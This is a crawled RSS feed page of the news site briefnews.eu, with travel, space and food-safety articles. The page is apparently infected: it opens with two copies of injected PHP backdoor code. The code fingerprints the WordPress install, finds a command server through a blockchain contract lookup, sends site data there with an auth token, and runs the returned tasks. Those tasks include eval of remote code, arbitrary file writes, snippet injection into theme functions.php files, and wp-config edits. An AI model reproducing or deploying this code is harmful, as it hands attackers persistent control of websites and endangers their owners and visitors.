// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); intriguing – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 14 Apr 2018 02:09:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png intriguing – Brief News https://briefnews.eu 32 32 Crash: Intriguing time for new deal https://briefnews.eu/crash-intriguing-time-for-new-deal/ https://briefnews.eu/crash-intriguing-time-for-new-deal/#respond Sat, 14 Apr 2018 02:09:06 +0000 http://briefnews.eu/crash-intriguing-time-for-new-deal/

Let’s block ads! (Why?)

]]> https://briefnews.eu/crash-intriguing-time-for-new-deal/feed/ 0 SpaceX has an intriguing launch on Wednesday morning https://briefnews.eu/spacex-has-an-intriguing-launch-on-wednesday-morning/ https://briefnews.eu/spacex-has-an-intriguing-launch-on-wednesday-morning/#respond Wed, 21 Feb 2018 01:32:46 +0000 http://briefnews.eu/spacex-has-an-intriguing-launch-on-wednesday-morning/

Enlarge / SpaceX has a sooty booster on the pad in California, ready for a launch Wednesday morning. (credit: SpaceX)

After the launch of the Falcon Heavy rocket two weeks ago, going back to launching a single core of a Falcon 9 rocket may seem like something of a letdown. But the next SpaceX launch, presently scheduled for early Wednesday morning, is worth tuning into. The instantaneous launch window opens (and closes) at 9:17am ET Wednesday, and weather conditions forecast for the launchpad at Vandenberg Air Force Base, in California, are 90-percent favorable.

The primary mission on Wednesday is the launch of the PAZ satellite to low Earth orbit. This is a synthetic aperture radar satellite that can generate high-resolution images of the Earth’s surface, regardless of whether there are clouds covering the ground. The customer is Hisdesat, a Spain-based commercial satellite company.

The Falcon 9 rocket will also carry a second payload of note: two experimental non-geostationary orbit satellites, Microsat-2a and -2b. Those are two satellites that SpaceX has previously said would be used in its first phase of broadband testing as part of an ambitious plan to eventually deliver global satellite Internet. Further satellites will be launched in phases, with SpaceX intending to reach full capacity with more than 4,000 satellites in 2024.

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]]> https://briefnews.eu/spacex-has-an-intriguing-launch-on-wednesday-morning/feed/ 0 Here are the intriguing toxins that spice up our favorite holiday dishes https://briefnews.eu/here-are-the-intriguing-toxins-that-spice-up-our-favorite-holiday-dishes/ https://briefnews.eu/here-are-the-intriguing-toxins-that-spice-up-our-favorite-holiday-dishes/#respond Sat, 23 Dec 2017 17:16:52 +0000 http://briefnews.eu/here-are-the-intriguing-toxins-that-spice-up-our-favorite-holiday-dishes/

Enlarge / circa 1955: A traditional festive dinner table decorated with sprigs of berried holly. (credit: Getty | Chaloner Woods)

As the adage goes, the dose makes the poison. But the same can be said for our foods—a morbid morsel to chew on during your holiday noshing.

While still safe to eat, our favorite dishes have a dark side—a striking amount are laced with toxic and deadly substances. In fact, we flirt with intriguingly dangerous ingredients not just during the holidays, but daily. Potentially poisonous substances arrive in our foods through contamination and hazardous production conditions, and toxins are also naturally present in many plants. Nearly all are present at such low amounts that they pose little risk. But, in large enough quantities or if safety monitoring fails, some of our favorite dishes could easily turn against us.

This leaves the Food and Drug Administration with the tricky task of keeping our foods safe—and knowing when they slip into the realm of poisons.

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]]> https://briefnews.eu/here-are-the-intriguing-toxins-that-spice-up-our-favorite-holiday-dishes/feed/ 0 Bolivia: Discover the mysteries of the Witches’ Market in South America's intriguing city https://briefnews.eu/bolivia-discover-the-mysteries-of-the-witches-market-in-south-americas-intriguing-city/ https://briefnews.eu/bolivia-discover-the-mysteries-of-the-witches-market-in-south-americas-intriguing-city/#respond Sun, 17 Dec 2017 20:30:48 +0000 http://briefnews.eu/bolivia-discover-the-mysteries-of-the-witches-market-in-south-americas-intriguing-city/

BoliviaGETTY

Bolivia: The Uyuni salt flats and The city of La Paz

With not a soul to be seen all the way to the horizon and the silence almost deafening, the red picnic table was unfolded and laden with chicken, rice, vegetables, sweet oranges and three varieties of the 200 kinds of potato grown here in Bolivia.

There was just one thing missing. “Could you pass the salt?” I quipped. David, my guide, squealed with laughter.

There may have been a noticeable absence of a salt shaker on the table but if there was one thing we weren’t short of it was salt.

Sitting on plastic stalls that scraped against the ground’s coarse surface, we were in the middle of South America’s most surreal landscape: the Salar de Uyuni salt flats. 

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Occupying a patch of southern Bolivia half the size of Wales, they are the largest in the world, a dreamlike expanse as sheer and white as a sheet of paper and so blindingly bright that it’s impossible to be here without sunglasses. Unfolding for thousands of miles like a frozen desert, it was as though we had landed on a different planet.

And, in some ways, we had.

Hollywood producers were so captivated by this barren yet ethereal wonder that they used it as the backdrop for the fictional planet of Crait in the new Star Wars Episode VII: The Last Jedi movie, which came out on Friday.

I took it all in – well, almost all of it – from about halfway up the slopes of the dormant Tunupa volcano.

Our Jeep bounced along the unpaved road until coming to an abrupt stop beside a narrow walking trail, which we followed for several minutes. 

BOLIVIAGETTY

SPICE GIRLS: Bolivian women browse the traditional markets of La Paz

Eventually we reached the opening of a cave, its dark and eerie interior fi lled with gruesome discoveries that took me rather off-guard.

Minding our heads on the low roof, we ventured deep inside towards its most darkened corners, where the mummifi ed remains of ancient tribespeople had been laid to rest in the foetal position.

“They believed they would be reborn,” explained David as the skeleton’s sunken eyes bore into mine.

Outside, we made our way back to the land of the living. The community of Coquesa sat on the lower slopes of the peak: a cluster of thatched houses surrounded by arid land and stone walls that protected precious crops which produced grain-of-the-moment, quinoa – loved by the likes of Gwyneth Paltrow.

Most of the 200 residents were nowhere to be seen but inside the small museum – one dusty room fi lled with indigenous relics and stuffed llamas – I met ticket attendant Sandy.

“My family breed llamas and grow quinoa. We have no water except the rain and whatever flows down from the volcano.

BOLIVIAGETTY

URBAN SPRAWL: The city of La Paz is one of the highest in the world

 “It’s a hard life but a good one. We live in a very special place.”

I pondered Sandy’s words as David pointed to a lonely spot shimmering some distance away.

Isla Incahuasi, known as ‘Cactus Island’ rose from its surroundings 56 miles away, a rocky outcrop that was essentially an island in a sea of salt.

We sped across the all-white, cloud-like terrain as though soaring through Heaven itself, pausing only to admire a lagoon dotted with flamingos.

Reaching the top of Isla Incahuasi took a degree of effort. It wasn’t a particularly long or steep trail but the altitude made hard work of the 15-minute ascent.

Still, it was worth every huff and puff to be dwarfed by 1,000-year-old cacti, which stood taller than double deckers and framed the infinite flats rather dramatically.

It had been a long and tiring day so I was relieved to return to my hotel in time for dusk. 

BOLIVIA GETTY

PRICKLY CUSTOMERS: Giant 1,000-year-old cacti dominate the slopes of Isla Incahuasi

I opted for a night to remember by staying at Luna Salada, a hotel made almost entirely from (yep, you guessed it) salt.

Kitted out with traditional handwoven textiles and overlooking the flats, this novel property pays tribute to its surroundings in almost every nook and cranny, with everything from the walls to the furniture made of locally sourced blocks of salt. Even the spa offers an invigorating salt exfoliation treatment.

The next morning, having somewhat exceeded my recommended daily intake of salt, I left Uyuni for La Paz, (tip: grab a seat on the left hand side of the plane for aerial views of the flats). Barely an hour later, we touched down in one of the highest cities on Earth.

Set in a deep canyon at an altitude of 11,942ft, the first thing to strike you about La Paz is the scale of its urban sprawl.

Millions upon millions of matchbox homes tumbled down the steep walls of the valley creating a chasm crisscrossed by cable cars.

Dominating the scene and rising majestically in the distance is the snowcapped mountain Huayna Potosí. Several thousand feet below, in the basin of the valley, is the city’s colonial heart. I strolled along streets choked with minibuses and crowds protesting against the latest government initiative.

“People in La Paz are always protesting,” joked David.

We paused in Plaza Murillo, the central square with rustling eucalyptus trees, a grand cathedral and other colonial buildings that date back to the days of the Spaniards.

My favourite was the large government building with a façade boasting an analogue clock that runs backwards. Later, we explored the curious Mercado de las Brujas (Witches’ Market) where all manner of potions and intriguing items were perused by women in bowler hats.

Hanging from the rafters like piñatas were the aborted llama foetuses believed by ancient tribes to bring good luck.

But with gleaming skyscrapers and new developments popping up, La Paz also illustrated that Bolivia is very much a forward-thinking nation. Landlocked by Peru, Brazil, Paraguay, Chile and Argentina in the very heart of South America, it’s a diverse and remarkable land that delivers highs that aren’t always down to the altitude.

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One of its most famous destinations is Lake Titicaca, located 42 miles to the northwest of La Paz. Stretching for 118 miles across the finest Andean scenery, it is the world’s highest navigable lake at 12,507ft above sea level and shared with Peru.

Despite the division (the border runs straight through the water), it embodies a deep unity shared between the region’s indigenous Uru people who worship the mountains and believe the lake is home to mermaids. And just like their ancestors, they continue to live on floating islands made of tightly-packed tortora reeds.

I sailed around the lake, visiting small islands where local women in colourful skirts and long plaits that dangled towards their waists sat outside houses made from reeds.

Their husbands were out fishing on boats also constructed from the durable yellowish stalks. Children gathered to drop coca leaves on the water, offerings to Ota Mama (Mother Lake) that settled on the surface like confetti. It seemed a peaceful and idyllic life but not one without its problems.

Whole islands have been lost in a flash due to fires caused by lightning strikes. “All we can do is pray for mercy,” one Uru elder told me.

May the force be with them. l getting there Journey Latin America (020 8600 1881/ journeylatinamerica.co.uk) offers 10 nights in Bolivia from £2,078 (two sharing), B&B. Price includes flights from Heathrow to La Paz via Madrid, accommodation and transfers. Bolivia tourism: bolivia.travel

